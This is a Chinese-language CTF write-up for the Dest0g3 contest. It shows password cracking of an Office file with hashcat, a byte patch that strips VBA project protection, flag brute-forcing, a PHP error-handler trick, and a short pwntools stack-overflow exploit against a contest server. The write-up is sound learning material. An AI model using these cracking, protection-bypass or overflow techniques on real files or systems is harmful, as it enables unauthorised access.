<script language="javascript">document.write(unescape('%3Chtml%3E%0A%3Cbody%3E%0A%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%20%20%3Ctitle%3EDo%20You%20Know%20js%3C%2Ftitle%3E%0A%3CHTA%3AAPPLICATION%0A%20%20APPLICATIONNAME%3D%22Do%20You%20Know%20js%22%0A%20%20ID%3D%22Inception%22%0A%20%20VERSION%3D%221.0%22%0A%20%20SCROLL%3D%22no%22%2F%3E%0A%20%0A%3Cstyle%20type%3D%22text%2Fcss%22%3E%0A%3C%2Fhead%3E%0A%20%20%20%20%3Cdiv%20id%3D%22feature%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20id%3D%22content%0A%09%09%09%09%3C%2Fstyle%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch1%20id%3D%22unavailable%22%20class%3D%22loading%22%3EBuilding%20js.....%3C%2Fh1%3E%0A%09%09%09%09%3Cscript%20type%3D%22text%2Fjavascript%22%20language%3D%22javascript%22%3E%0A%09%09%09%09%09function%20RunFile%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20var%20WshShell%20%3D%20new%20ActiveXObject%28%22WScript.Shell%22%29%3B%0A%09%09%09%09%09WshShell.Run%28%22notepad%20%25windir%25%2FDesktop%2Fjs.txt%22%2C%201%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20%20%20%2F*%20var%20oExec%20%3D%20WshShell.Exec%28%22notepad%22%29%3B%20*%2F%0A%09%09%09%09%09%7D%0A%09%09%09%09%3C%2Fscript%3E%0A%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%3C%2Fdiv%3E%0A%3Cbody%3E%0A%09%3Cinput%20type%3D%22button%22%20value%3D%22Implant%20Inception%20Here%22%20onclick%3D%22RunFile%28%29%3B%22%2F%3E%0A%09%3Cp%20style%3D%22color%3Awhite%3B%22%3E%0A%0A%2B%2B%2B%2B%2B%20%2B%2B%5B-%3E%20%2B%2B%2B%2B%2B%20%2B%2B%3C%5D%3E%20%2B%2B%2B..%20%2B%2B.-.%20%2B%2B.--%20--.%2B%2B%20%2B%2B.--%20%0A-.-.-%20--.%2B%2B%20%2B%2B%2B%2B.%0A%2B.---%20-..%2B%2B%20%2B%2B.%3C%2B%20%2B%2B%5B-%3E%20%2B%2B%2B%3C%5D%20%3E%2B%2B.%3C%20%2B%2B%2B%5B-%20%0A%3E---%3C%20%5D%3E---%20---.%2B%20%2B%2B%2B%2B.%20-----%0A.%2B%2B%2B.%20...--%20---.%2B%20%2B%2B%2B%2B.%20---.%2B%20%2B%2B.--%20---.%2B%20%2B%2B%2B%2B.%20---..%20%2B%2B%2B%2B%2B%20%2B.---%20----.%0A%3C%2B%2B%2B%2B%20%5B-%3E%2B%2B%20%2B%2B%3C%5D%3E%20%2B%2B.%3C%2B%20%2B%2B%2B%5B-%20%3E----%20%3C%5D%3E-.%20---.%2B%0A%20%2B%2B%2B%2B%2B%20.----%20-.%2B%2B.%20%2B%2B.%2B.%0A--.--%20.%3C%2B%2B%2B%20%2B%5B-%3E%2B%20%2B%2B%2B%3C%5D%20%3E%2B%2B.%3C%20%2B%2B%2B%2B%5B%20-%3E---%20-%3C%5D%3E-%20%0A.%2B.-.%20---.%2B%20%2B%2B.%2B.%20-.%2B%2B%2B%0A%2B.---%20--.%3C%2B%20%2B%2B%2B%5B-%20%3E%2B%2B%2B%2B%20%3C%5D%3E%2B%2B%20.%3C%2B%2B%2B%20%5B-%3E--%20-%3C%5D%3E-%20----.%20----.%20%2B.%2B%2B%2B%20%2B.---%0A-.---%20.%2B%2B%2B.%20-..%3C%2B%20%2B%2B%2B%5B-%20%3E%2B%2B%2B%2B%20%3C%5D%3E%2B%2B%20%0A.%3C%2B%2B%2B%20%2B%5B-%3E-%20---%3C%5D%20%3E-.%2B%2B%20%2B%2B%2B.-%20----.%0A%2B%2B%2B..%20---.%2B%20%2B%2B.--%20--.%2B.%20..%2B%2B%2B%20%2B.-.-%20----.%20%2B%2B%2B%2B%2B%20%0A.----%20.%2B.%2B%2B%20%2B%2B.--%20--.%2B%2B%0A%2B%2B.-.%20----.%20%2B.-.%2B%20%2B%2B%2B%2B.%20%0A%3C%2B%2B%2B%5B%20-%3E%2B%2B%2B%20%3C%5D%3E%2B%2B%20%2B%2B.%3C%0A%3C%2Fp%3E%0A%3C%2Fbody%3E%0A%3C%2Fbody%3E%0A%20%20%3C%2Fhtml%3E%0A'));</script>

中间的代码提取出来。打开浏览器的开发模式,在控制台里面把中间代码敲上。

界面出现了一些元素。翻找页面元素。发现了一个p标签颜色是白色的,由于背景也是白的,所以在我们这算是不可见。打开看看。里面是brainfuck的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.-- 
-.-.- --.++ ++++.
+.--- -..++ ++.<+ ++[-> +++<] >++.< +++[-
>---< ]>--- ---.+ ++++. -----
.+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----.
<++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+
+++++ .---- -.++. ++.+.
--.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>-
.+.-. ---.+ ++.+. -.+++
+.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.---
-.--- .+++. -..<+ +++[- >++++ <]>++
.<+++ +[->- ---<] >-.++ +++.- ----.
+++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++
.---- .+.++ ++.-- --.++
++.-. ----. +.-.+ ++++.
<+++[ ->+++ <]>++ ++.<

解码得到:

1
446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D

十六进制转换为字符串:

1
2
3
4
import libnum
print(libnum.n2s(0x446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D))

# Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}

EasyWord

用hashcat对password.docm进行爆破。

首先提取文件的hash。

1
2
3
┌──(kali㉿kali)-[~/CTF/Dest0g]
└─$ office2john password.docm
password.docm:$office$*2010*100000*128*16*d135d71212d659473f2b5fb4bf46d78e*e0a8853d6d0c42cafd62c82dda2fbc6e*d0889853485e2aeb49c06a1d3d691fc81ffb42a35f97c83d0ed5c646066f4ab1

得到输出去掉前面的文件名写入到文件里。

1
2
3
4
5
6
7
8
9
10
11
12
10600 | PDF 1.7 Level 3 (Acrobat 9)                      | Documents
10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Documents
9400 | MS Office 2007 | Documents
9500 | MS Office 2010 | Documents
9600 | MS Office 2013 | Documents
9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents
9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents
9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents
9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents
9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents
9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents

我们得到hash头是office2010,type为9500。

hint中提示密码为:

1
2
3
The length of docm 's password is 6
The Regular Expression of the password is:
[a-z] [a-z] q [a-z] b [a-z]

采用掩码爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/CTF/Dest0g]
└─$ hashcat docxhash -a 3 -m 9500 ?l?lq?lb?l
...
...
$office$*2010*100000*128*16*d135d71212d659473f2b5fb4bf46d78e*e0a8853d6d0c42cafd62c82dda2fbc6e*d0889853485e2aeb49c06a1d3d691fc81ffb42a35f97c83d0ed5c646066f4ab1:ulqsbt

Session..........: hashcat
Status...........: Cracked
Hash.Name........: MS Office 2010
Hash.Target......: $office$*2010*100000*128*16*d135d71212d659473f2b5fb...6f4ab1
Time.Started.....: Mon May 23 14:56:52 2022 (4 mins, 53 secs)
Time.Estimated...: Mon May 23 15:01:45 2022 (0 secs)
Guess.Mask.......: ?l?lq?lb?l [6]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1439 H/s (13.85ms) @ Accel:1024 Loops:512 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 421888/456976 (92.32%)
Rejected.........: 0/421888 (0.00%)
Restore.Point....: 12288/17576 (69.91%)
Restore.Sub.#1...: Salt:0 Amplifier:24-25 Iteration:0-1
Candidates.#1....: udqabt -> uiqebx

# ulqsbt

得到密码为ulqsbt。但是我的word不知道为什么打不开这个文档。没辙了,我也懒得下其他office。

后面发现是WindowsDefender给我拦了…

打开文件,运行宏,弹出一个对话框。要求输入对应的口令。但是咱不知道口令。看看VBA的代码吧。结果VBA的代码是加密的,服了。52上面找到了如何破解。

首先另存为这个docm文件。将新保存的文件用zip打开。找到word/vbaProject.bin。取出来用二进制查看器打开。查找文件中的"DPB"字符串。将其修改为“DPX”

1
2
3
DPB="6A68C60DC22AC22A3DD6C32A01D8603CA71D723AE102E0FFC37E6C3974F6CB68433CB3841C"
TO:
DPX="6A68C60DC22AC22A3DD6C32A01D8603CA71D723AE102E0FFC37E6C3974F6CB68433CB3841C"

保存之后,重新改为docm文件。打开,这样我们就能打开对应的project了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Private Sub CB_OK_Click()
Dim strpasw As String
Dim strdec As String
Dim strusrinput As String
Dim t As String
t = ChrW(21152) & ChrW(27833) & ChrW(21543) & ChrW(65292) & ChrW(21516) & ChrW(23398) & ChrW(20204) & ChrW(65281)

strusrinput = Dialog.TextBox_Pasw
Dim sinput As String
sinput = strusrinput

If (strusrinput <> "") Then
strusout = Encode(strusrinput, t)
If (strusout = "┤℡ǒqx~") Then
strdec = Decode(Dialog.Label_ls.Caption, sinput)
Else
If (strusout = "kGJEgq") Then
strdec = Decode(Dialog.Label_ls1.Caption, sinput)
Else
If (strusout = "ЮΟopz+") Then
strdec = Decode(Dialog.Label_ls2.Caption, sinput)
Else
If (strusout = "zΚjrШφεあ") Then
strdec = Decode(Dialog.Label_ls4.Caption, sinput)
Else
If (strusout = "àǖtUw┧hè") Then
strdec = Decode(Dialog.Label_ls3.Caption, sinput)
Else
strdec = "密码不正确,别泄气再来!"
End If
End If
End If
End If
End If
Label_CLUE.Caption = strdec
End If

End Sub

只要看这个按钮事件即可。

这里面要判断我们的输入是否满足要求。

我们的字符串首先进入了Encode编码了一下。而且用的是固定密钥,所以我们直接Decode对应的目标字符串就能得到我们想要的输入是什么。

1
2
3
4
5
"┤℡ǒqx~" : 123456
"kGJEgq" : aaaaaa
"ЮΟopz+" : 000000
"zΚjrШφεあ" : 墙角数枝
"àǖtUw┧hè" : iloveyou

以上是对应的字符串所需要输入的数据。

依次尝试,只有“墙角数枝”给出了提示:

1
解压密码:两只黄鹂鸣翠柳,一行白鹭上青天!

Rar密码为复杂型,长度为16位,包含了字母、数字和符号。这一行诗加上符号刚好16位。我觉得就是把这句诗首字母提出来就行了,加上符号。由于要有数字,所以一改为1,两改为2。

1
2zhlmcl,1hblsqt!

发现不对,又换了其他的密码。

1
2
3
2ZHLMCL,1HBLSQT!
2zhlmcl,1HBLSQT!
2ZHLMCL,1hblsqt!

这些都不对,奇了怪了…

最后写了个脚本把所有大小写都爆破一遍,还是不行…

最后把这个小问题给了我队友,结果给他解出来了。密码是:

1
2zhlmcl,1hblsqt.

给我干沉默了…

1
# Dest0g3{VBScr1pt_And_Hashc4t_1s_g00d}

Python_jail

解压之后,有个压缩包要密码,然后有一个password和hint。看了一下password,全是空白字符,以为是SNOW隐写,但是hint里面说是一种语言,所以应该是white_space语言。

https://vii5ard.github.io/whitespace/

将password里面的数据导入,点击右上角的Run运行。得到密码:

1
a8e15220-7404-4269-812e-6418557b7dc2

解压得到一张图片。

LSB提取有些信息比较令人注意。在三通道LSB下:

1
2
3
4
5
6
7
8
9
10
11
12
13
e99881e59ca8e8bf 99e9878c5a6d7868  ........ ....Zmxh
5a3374694e574a6a 5a6d4d344e793031 Z3tiNWJj ZmM4Ny01
593245324c54517a 5a6a4574596a4d34 Y2E2LTQz ZjEtYjM4
4e4330314e325177 4f5749344f445a6a NC01N2Qw OWI4ODZj
59546c3975230000 00e7949fe68890e6 YTl9u#.. ........
8890e58a9f0a4669 6e6420697420696e ......Fi nd it in
20796f757220666f 6c6465724e2904da your fo lderN)..
046f70656eda0466 696c65da05777269 .open..f ile..wri
7465da057072696e 74a9007206000000 te..prin t..r....
7206000000fa0766 6c61672e7079da08 r......f lag.py..
3c6d6f64756c653e 0100000073040000 <module> ....s...
000a020a01004190 409b0eccc7d6a2f9 ......A. @.......
df7fff3fffffffff 57fedfe2a159ef50 ..?.... W....Y.P

上面是一串base64

1
2
3
4
5
ZmxhZ3tiNWJjZmM4Ny01Y2E2LTQzZjEtYjM4NC01N2QwOWI4ODZjYTl9u
base64
flag{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}

# Dest0g3{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}

但是这不是我们想要的flag。我给他套了一个Dest0g3交上去不对。

下面这段话就看的我头大了。没有看懂这是啥意思。感觉像是让python脚本来写出flag。那么这个flag.py在哪里呢?

1
2
3
4
Find it in your folder
open file write print
flag.py
<module>

后面试了一下直接把flag提交了,没想到竟然过了…

1
# flag{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}

4096

启动靶机,是一个4096小游戏,在local_storage_manager.js中找到了一部分的flag。

1
2
3
4
5
6
function getPartFlag(score) {
if (score > 10000) {
console.log("Q29uZ3JhdHVsYXRpb25zLCB0aGlzIGlzIHBhcnQgb2YgdGhlIGZsYWc6IE5HVmxOeTFpTmpjekxUazNNV1E0TVdZNFlqRTNOMzA9Lg==");
}
}
# 4ee7-b673-971d81f8b177}

在看网页元素的时候一个img很奇怪。

1
<img src="favicon.png" width="1" height="1">

大小为1,但实际上图片大小不是这个。把这个文件下载下来。

文件大小不对。这个png有12mb。很显然里面藏了东西。

二进制打开看看。

1
RIFFö¾WAVEfmt 

在PNG头的下方还有一个RIFF头,这是一个音频文件。把PNG部分删了之后就可以用音频打开了。音频隐写我不太会说实话。

1
ppart_flag.jpg.....

文件的尾部还有一个jpg。binwalk分离出来一个压缩包。里面是这个文件。但是需要密码。我觉得密码是在音频中。

前面部分和最后很明显是拨号音,只截取前后的DTMF的话得到的是:

1
74958097831

但这也不是密码啊。这是个什么脑洞。

问了一下我们组的人,叫我试试SSTV。说实话我是没想到是SSTV,也算是长见识了,第一次做这种题了。

sstv解码之后就是一张图片了,不过是倒过来的。

1
2
3
4
5
password:



MD5(cell phone number)

电话号码我们已经拿到了,所以直接md5看看。

1
2
MD5:
6c6551787d7071ff48400b855b851ccb

结果并不是这个密码。手机号好像没有7开头的吧,而我们得到的数据最后一位是1,说不定是将得到的数据反转。试试。

1
2
3
74958097831 -> 13879085947
MD5:
3f119efa3254ae786fe44aff4582faa4

结果还是不对…我是直接用的数字进行加密的,说不定是先对字符串进行编码。

1
2
>>> md5(b"13879085947").hexdigest()
'32fc1b5487cb447f792a19418b92544e'

这下终于解开了。

结果里面是个小拼图。

part_flag

这里直接用工具就可以解了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/gaps/gaps/bin]
└─$ python3 gaps --image=part_flag.jpg --size=64 --save

=== Population: 200
=== Generations: 20
=== Piece size: 64 px
=== Pieces: 240

=== Analyzing image: ██████████████████████████████████████████████████ 100.0%
=== Solving puzzle: ███████████████████████████████████████----------- 78.9%

=== GA terminated
=== There was no improvement for 10 generations

=== Done in 17.401 s
=== Result saved as 'part_flag_solution.jpg'
=== Close figure to exit

结果这个每次跑都不太一样,没有那种可以完美复原的。看来只能自己来拼接了。

part_flag_solution
1
2
3
4
5
6
7
RGVzdD
kMTE0Zi05Z
BnM3tlZDR
U0
W
LQ
==

写个脚本跑一下结果吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import itertools
from base64 import b64decode

table = ["RGVzdD","kMTE0Zi05Z","BnM3tlZDR","U0","W","LQ"]

for i in itertools.permutations(table, len(table)):
data = ''.join(i) + "=="
data = b64decode(data)
if b"Dest0g3{" in data:
print(data)

"""
b'Dest0g3{ed4d114f-9eM\x16-'
b'Dest0g3{ed4d114f-9eM\x0bA'
b'Dest0g3{ed4d114f-9ee4-'
b'Dest0g3{ed4d114f-9eb\xd0S'
b'Dest0g3{ed4d114f-9d\xb4\x14\xd1'
b'Dest0g3{ed4d114f-9d\xb4\x16S'
b'Dest0g3{ed4T\xd2C\x13\x13Fb\xd3\x96V-'
b'Dest0g3{ed4T\xd2C\x13\x13Fb\xd3\x96KA'
b'Dest0g3{ed4T\xd1i\x0cLM\x19\x8bNY-'
....
....
"""

# Dest0g3{ed4d114f-9ee4-

和上面的flag进行组合得到:

1
# Dest0g3{ed4d114f-9ee4-4ee7-b673-971d81f8b177}

Reverse

simpleXOR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[72]; // [rsp+0h] [rbp-160h]
char v5[52]; // [rsp+120h] [rbp-40h] BYREF
int v6; // [rsp+154h] [rbp-Ch]
unsigned int j; // [rsp+158h] [rbp-8h]
int i; // [rsp+15Ch] [rbp-4h]

v6 = 247;
printf("input flag:");
__isoc99_scanf("%s", v5);
for ( i = 0; i <= 35; ++i )
{
v4[i + 36] = v5[i];
v4[i] = v6 ^ (v4[i + 36] + i);
}
for ( j = 0; j <= 0x23; ++j )
{
if ( v4[j] != result_0[j] )
{
puts("Wrong!!!");
return 0;
}
if ( j == 35 )
puts("Success!!!");
}
return 0;
}

找到result_0的值:

1
2
3
4
5
0xb3,0x91,0x82,0x80,0xc3,0x9b,0xce,0x75,
0xcf,0x9c,0x9a,0x85,0x85,0xcd,0xb8,0x84,
0xaa,0x7d,0xbd,0xbb,0xb1,0xb5,0x96,0x71,
0x8d,0x9e,0x86,0xbf,0x73,0xa8,0xa3,0x9c,
0x83,0x65,0x9e,0x57

求逆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# solve.py

data = [0xb3,0x91,0x82,0x80,
0xc3,0x9b,0xce,0x75,
0xcf,0x9c,0x9a,0x85,
0x85,0xcd,0xb8,0x84,
0xaa,0x7d,0xbd,0xbb,
0xb1,0xb5,0x96,0x71,
0x8d,0x9e,0x86,0xbf,
0x73,0xa8,0xa3,0x9c,
0x83,0x65,0x9e,0x57]

key = 247

for i in range(len(data)):
print(chr((data[i]^key) - i), end="")

print("\n")

# Dest0g3{0bcgf-AdMy892-KobPW-hB6LTqG}

hi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-ACh]
int v1; // [rsp+8h] [rbp-A8h]
char enc[45]; // [rsp+10h] [rbp-A0h]
char str[100]; // [rsp+40h] [rbp-70h] BYREF
unsigned __int64 v8; // [rsp+A8h] [rbp-8h]

v8 = __readfsqword(0x28u);
*(_QWORD *)str = 0LL;
*(_QWORD *)&str[8] = 0LL;
*(_QWORD *)&str[16] = 0LL;
*(_QWORD *)&str[24] = 0LL;
*(_QWORD *)&str[32] = 0LL;
*(_QWORD *)&str[40] = 0LL;
*(_QWORD *)&str[48] = 0LL;
*(_QWORD *)&str[56] = 0LL;
*(_QWORD *)&str[64] = 0LL;
*(_QWORD *)&str[72] = 0LL;
*(_QWORD *)&str[80] = 0LL;
*(_QWORD *)&str[88] = 0LL;
*(_DWORD *)&str[96] = 0;
*(_QWORD *)enc = 0x9F8E7A1CC6486497LL;
*(_QWORD *)&enc[8] = 0x69EEF382E760BD46LL;
*(_QWORD *)&enc[16] = 0xB9C017E2E30EF749LL;
*(_QWORD *)&enc[24] = 0x98410148A430392CLL;
*(_QWORD *)&enc[32] = 0xE80E7411E5B5A939LL;
*(_DWORD *)&enc[40] = -1517552212;
enc[44] = 109;
fwrite("input: ", 1uLL, 7uLL, stdout);
fgets(str, 46, stdin);
if ( strlen(str) != 45 )
exit(0);
for ( i = 0; i <= 44; ++i )
{
v1 = 23 * str[i];
if ( ((unsigned int)((v1 + x[i]) >> 31) >> 24) + (_BYTE)v1 + x[i] - ((unsigned int)((v1 + x[i]) >> 31) >> 24) != enc[i] )
exit(0);
}
puts("good!");
return 0;
}

这里的数据初始化一部分放在了代码里面,对于enc变量,我们可以运行程序然后从内存里dump出来。这里面又是DWORD又是BYTE又是QWORD,还有负数在里面,自己写很有可能出问题,所以选择从内存中dump。

1
2
3
4
5
6
0x7fffffffdf10: 0x97    0x64    0x48    0xc6    0x1c    0x7a    0x8e    0x9f
0x7fffffffdf18: 0x46 0xbd 0x60 0xe7 0x82 0xf3 0xee 0x69
0x7fffffffdf20: 0x49 0xf7 0x0e 0xe3 0xe2 0x17 0xc0 0xb9
0x7fffffffdf28: 0x2c 0x39 0x30 0xa4 0x48 0x01 0x41 0x98
0x7fffffffdf30: 0x39 0xa9 0xb5 0xe5 0x11 0x74 0x0e 0xe8
0x7fffffffdf38: 0xac 0xfd 0x8b 0xa5 0x6d

x直接就在文件里面,直接找出来就行。

1
if ( ((unsigned int)((v1 + x[i]) >> 31) >> 24) + (_BYTE)v1 + x[i] - ((unsigned int)((v1 + x[i]) >> 31) >> 24) != enc[i] )

这里有一个BYTE转换,实际上v1是int类型的,这就丢数据了。我们逆向过程不太能解。由于这个题目数据前后没有关联性,所以可以采用爆破的方式,复杂度为O(n),是可以爆破的,也就字符集*45的大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdlib.h>
#include <stdio.h>
#include <windef.h>

char x[] = {0x7b, 0x51, 0xf3, 0x5a, 0xcc, 0x39, 0xf9, 0x92, 0x1c, 0x9e,
0x58, 0x69, 0x9d, 0xf7, 0xfd, 0x4a, 0x3e, 0xfb, 0x1d, 0x2c,
0x4d, 0x0c, 0x70, 0xb1, 0x3b, 0x8d, 0x25, 0xed, 0x91, 0xb1,
0x73, 0x8d, 0x82, 0xe6, 0xe7, 0x50, 0x20, 0x61, 0x62, 0x3c,
0, 0x3a, 0xa6, 0x9d, 0x32};

BYTE enc[] = {0x97, 0x64, 0x48, 0xc6, 0x1c, 0x7a, 0x8e, 0x9f,
0x46, 0xbd, 0x60, 0xe7, 0x82, 0xf3, 0xee, 0x69,
0x49, 0xf7, 0x0e, 0xe3, 0xe2, 0x17, 0xc0, 0xb9,
0x2c, 0x39, 0x30, 0xa4, 0x48, 0x01, 0x41, 0x98,
0x39, 0xa9, 0xb5, 0xe5, 0x11, 0x74, 0x0e, 0xe8,
0xac, 0xfd, 0x8b, 0xa5, 0x6d};

int main()
{
int index = 0;
while (index < 45) {
for (int i = 0x20; i <= 0x7e; i++) {
int v1 = 23*i;
if ( ((unsigned int)((v1 + x[index]) >> 31) >> 24) + (BYTE)v1 + x[index] - ((unsigned int)((v1 + x[index]) >> 31) >> 24) == enc[index] ){
printf("%c", i);
break;
}
}
index ++;
}
return 0;
}

// Dest0g3f82cd79-da3-04-aa0a5b3e445c}

其实那个左移31+24位可以直接去掉了,unsigned int也是4字节的,4字节一共才32位,所以前面和后面的那两个位移就是0,可以去掉。

嗯…但是跑出来的结果好像不太对,少了一部分的数据。看起来是数据类型的问题。主要是这个char他的正负有点难搞。最后统一了一下判断的格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdlib.h>
#include <stdio.h>
#include <windef.h>

BYTE x[] = {0x7b, 0x51, 0xf3, 0x5a, 0xcc, 0x39, 0xf9, 0x92,
0x1c, 0x9e, 0x58, 0x69, 0x9d, 0xf7, 0xfd, 0x4a,
0x3e, 0xfb, 0x1d, 0x2c, 0x4d, 0x0c, 0x70, 0xb1,
0x3b, 0x8d, 0x25, 0xed, 0x91, 0xb1, 0x73, 0x8d,
0x82, 0xe6, 0xe7, 0x50, 0x20, 0x61, 0x62, 0x3c,
0, 0x3a, 0xa6, 0x9d, 0x32};

BYTE enc[] = {0x97, 0x64, 0x48, 0xc6, 0x1c, 0x7a, 0x8e, 0x9f,
0x46, 0xbd, 0x60, 0xe7, 0x82, 0xf3, 0xee, 0x69,
0x49, 0xf7, 0x0e, 0xe3, 0xe2, 0x17, 0xc0, 0xb9,
0x2c, 0x39, 0x30, 0xa4, 0x48, 0x01, 0x41, 0x98,
0x39, 0xa9, 0xb5, 0xe5, 0x11, 0x74, 0x0e, 0xe8,
0xac, 0xfd, 0x8b, 0xa5, 0x6d};

int main()
{
int index = 0;
while (index < 45)
{
int i;
for (i = 0x0; i <= 0xff; i++)
{
int v1 = 23 * i;
if ((char)((BYTE)v1 + x[index]) == (char)(enc[index]))
{
printf("%c", i);
break;
}
}
index++;
}
return 0;
}

// Dest0g3{f982cd79-d7a3-0874-aa0b-a5b37e4445c8}

PWN

ez_arrch

1
2
3
4
5
6
7
8
__int64 sub_968()
{
char buf; // [xsp+10h] [xbp+10h] BYREF

puts("Please leave your name:");
read(0, &buf, 0x30uLL);
return puts("OK, you can exploit it now.");
}

反汇编能看到这个函数,这里就存在一个栈溢出。接下来就是看看用什么溢出的方式了。

翻二进制数据的时候发现了一个“/bin/sh”的字符串,加上程序提供了system这个函数,所以想通过这个方式来进行溢出。

当我跟随这个字符串的时候,发现他是在另外一个函数里面的。

1
2
3
4
5
6
7
8
9
10
11
12
.text:000000000000093C ; ---------------------------------------------------------------------------
.text:000000000000093C ; __unwind {
.text:000000000000093C STP X29, X30, [SP,#-0x10]!
.text:0000000000000940 MOV X29, SP
.text:0000000000000944 ADRL X0, aOkYouGetIt ; "OK, you get it !"
.text:000000000000094C BL .puts
.text:0000000000000950 ADRL X0, aBinSh ; "/bin/sh"
.text:0000000000000958 BL .system
.text:000000000000095C NOP
.text:0000000000000960 LDP X29, X30, [SP],#0x10
.text:0000000000000964 RET
.text:0000000000000964 ; } // starts at 93C

那么我们直接跳这个函数就行了,不需要再用system+参数了。而且我看了看system的地址好像也挺奇怪的。

1
2
3
4
5
6
7
import pwn
r = pwn.remote("node4.buuoj.cn", 28099)
func_addr = 0x4000000000 + 0x93c
r.send(pwn.p64(func_addr)*10)
r.interactive()

# Dest0g3{e5df9fec-e7cb-4f27-9c49-62f1d260395d}

Web

phpdest

这题网上直接有解,由于我本身对Web不太熟悉,这里我只是运气好碰上了。

这里给出地址:

https://blog.csdn.net/fmyyy1/article/details/117256082

EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>

主要就是要来触发这个set_error_handler,所以上传一个语法错误就行了。这里传的是一个数组。

1
# Dest0g3{aa4f0051-414d-46bf-ab12-599c5596c8e4}

未完成

Bag

由于源程序中的数据占了很大一部分,这里的代码我自己进行了修改,把数据采用生成的方式来表示了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import gmpy2
from Crypto.Util.number import *
from secret import flag

message = bytes_to_long(flag[8:-1])
Baglenth=286
# 下面的代码经过了修改
Bag=[2, 3]
while len(Bag) <= Baglenth:
Bag.append(Bag[-1]*2)

Bag=Bag[::-1]
m=372992427307339981616536686110115630075342113098010788080347982669869622759400031649792
w=274062421102700155372289583695782343443
assert gmpy2.gcd(m,w)==1
h=0
j=0
if m.bit_length()%2==0:
h=m.bit_length()
j=int(h//2)
else:
h=m.bit_length()
j=int(h//2+1)
def pad(m,lenth):
while len(m)<lenth:
m='0'+m
return m
def keygen():
pk=[]
sk=[]
sk.append(m)
sk.append(int(gmpy2.invert(w,m)))
D=[]
binD=[]
for i in range(Baglenth):
di=(w*Bag[i])%m
D.append(di)
bindi=bin(di)[2:]
bindi=pad(bindi,h)
binD.append(bindi)
U=[]
V=[]
for i in range(Baglenth):
tempu=int(str(binD[i][:j]),2)
U.append(tempu)
tempv=int(str(binD[i][j:]),2)
V.append(tempv)
e=gmpy2.next_prime(sum(V))+2
f=gmpy2.next_prime(sum(U))
assert gmpy2.gcd(e,f)==1
sk.append(int(e))
sk.append(int(f))
for i in range(Baglenth):
ai=e*U[i]+f*V[i]
pk.append(int(ai))
return pk,sk
Pk,Sk=keygen()
print(Pk)
print(Sk)
def Encrypt(plain,pk):
mbin=bin(plain)[2:]
c=0
mbin=pad(mbin,Baglenth)
for i in range(Baglenth):
c=c+int(mbin[i])*pk[i]
return c
c=Encrypt(message,Pk)
print(c)

# c = 1475864207352419823225329328555476398971654057144688193866218781853021651529290611526242518

# 这里print(sk,pk)输出的数据我没有复制过来。这个程序你跑一边就能得到那些数据了。

找到了相关的资料:

https://blog.csdn.net/qq_43968080/article/details/102953485

